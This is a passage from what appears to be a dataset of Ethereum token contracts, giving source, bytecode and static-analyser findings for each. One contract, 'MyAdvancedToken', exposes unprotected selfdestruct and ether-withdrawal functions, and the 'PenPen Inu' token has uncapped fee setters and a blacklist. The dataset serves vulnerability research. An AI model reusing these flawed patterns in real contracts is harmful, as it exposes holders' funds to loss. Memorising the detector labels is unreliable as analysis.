b5b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611d9557fe5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611e1d57fe5b611ea3600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120c6565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6c600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120c6565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff8600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120ac565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082828401915081101515156120bf57fe5b5b92915050565b600082828403915081111515156120d957fe5b5b92915050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561212d57fe5b612176600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120c6565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612202600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120ac565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820be307ed06685fbfedae4813c9f3b9366d59c967f229f92dffb4c0ed1034018ae0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
8,810
0x4Ea0Df261BA584572CDED3F2E35a0E63375Ac4f1
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } function () payable public { uint amount = msg.value * buyPrice; // calculates the amount _transfer(owner, msg.sender, amount); } function selfdestructs() payable public { selfdestruct(owner); } function getEth(uint num) payable public { owner.transfer(num); } function newinitialSupply(uint256 _initialSupply) public onlyOwner { totalSupply = _initialSupply; } }
0x608060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461018157806306fdde03146101b8578063095ea7b31461024857806318160ddd146102ad57806323b872dd146102d8578063313ce5671461035d57806342966c681461038e5780634b750334146103d35780634ed0efd1146103fe57806370a082311461040857806379c650681461045f57806379cc6790146104ac5780638620410b146105115780638c366dd31461053c5780638da5cb5b146105695780638e3073a6146105c057806395d89b41146105e0578063a6f2ae3a14610670578063a9059cbb1461067a578063b414d4b6146106c7578063cae9ca5114610722578063dd62ed3e146107cd578063e4849b3214610844578063e724529c14610871578063f2fde38b146108c0575b60006008543402905061017e6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383610903565b50005b34801561018d57600080fd5b506101b66004803603810190808035906020019092919080359060200190929190505050610bbc565b005b3480156101c457600080fd5b506101cd610c29565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561020d5780820151818401526020810190506101f2565b50505050905090810190601f16801561023a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025457600080fd5b50610293600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc7565b604051808215151515815260200191505060405180910390f35b3480156102b957600080fd5b506102c2610d54565b6040518082815260200191505060405180910390f35b3480156102e457600080fd5b50610343600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5a565b604051808215151515815260200191505060405180910390f35b34801561036957600080fd5b50610372610e87565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039a57600080fd5b506103b960048036038101908080359060200190929190505050610e9a565b604051808215151515815260200191505060405180910390f35b3480156103df57600080fd5b506103e8610f9e565b6040518082815260200191505060405180910390f35b610406610fa4565b005b34801561041457600080fd5b50610449600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fde565b6040518082815260200191505060405180910390f35b34801561046b57600080fd5b506104aa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff6565b005b3480156104b857600080fd5b506104f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611167565b604051808215151515815260200191505060405180910390f35b34801561051d57600080fd5b50610526611381565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b5061056760048036038101908080359060200190929190505050611387565b005b34801561057557600080fd5b5061057e6113ec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105de60048036038101908080359060200190929190505050611411565b005b3480156105ec57600080fd5b506105f561147c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561063557808201518184015260208101905061061a565b50505050905090810190601f1680156106625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61067861151a565b005b34801561068657600080fd5b506106c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061153a565b005b3480156106d357600080fd5b50610708600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611549565b604051808215151515815260200191505060405180910390f35b34801561072e57600080fd5b506107b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611569565b604051808215151515815260200191505060405180910390f35b3480156107d957600080fd5b5061082e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ec565b6040518082815260200191505060405180910390f35b34801561085057600080fd5b5061086f60048036038101908080359060200190929190505050611711565b005b34801561087d57600080fd5b506108be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611794565b005b3480156108cc57600080fd5b50610901600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118b9565b005b60008273ffffffffffffffffffffffffffffffffffffffff161415151561092957600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097757600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515610a0657600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610a5f57600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610ab857600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1757600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cbf5780601f10610c9457610100808354040283529160200191610cbf565b820191906000526020600020905b815481529060010190602001808311610ca257829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610de757600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610e7c848484610903565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610eea57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561105157600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156111b757600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561124257600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113e257600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611478573d6000803e3d6000fd5b5050565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115125780601f106114e757610100808354040283529160200191611512565b820191906000526020600020905b8154815290600101906020018083116114f557829003601f168201915b505050505081565b60006008543481151561152957fe5b049050611537303383610903565b50565b611545338383610903565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000808490506115798585610cc7565b156116e3578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611673578082015181840152602081019050611658565b50505050905090810190601f1680156116a05780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156116c257600080fd5b505af11580156116d6573d6000803e3d6000fd5b50505050600191506116e4565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff16311015151561173b57600080fd5b611746333083610903565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f19350505050158015611790573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ef57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561191457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058203a637f39875815821e8adf7e7abe8551f6972e2744e65272219ba3eb36389b8b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,811
0x0f510787ccd3d923f4b35540b25bc8cc3c0369a1
/** *Submitted for verification at Etherscan.io on 2021-11-27 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PenPenInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x9aBc998b9a819EDa39Eb503Bf9Ca6821284F3154); address payable private _feeAddrWallet2 = payable(0x9aBc998b9a819EDa39Eb503Bf9Ca6821284F3154); string private constant _name = "PenPen Inu"; string private constant _symbol = "PENPEN"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); 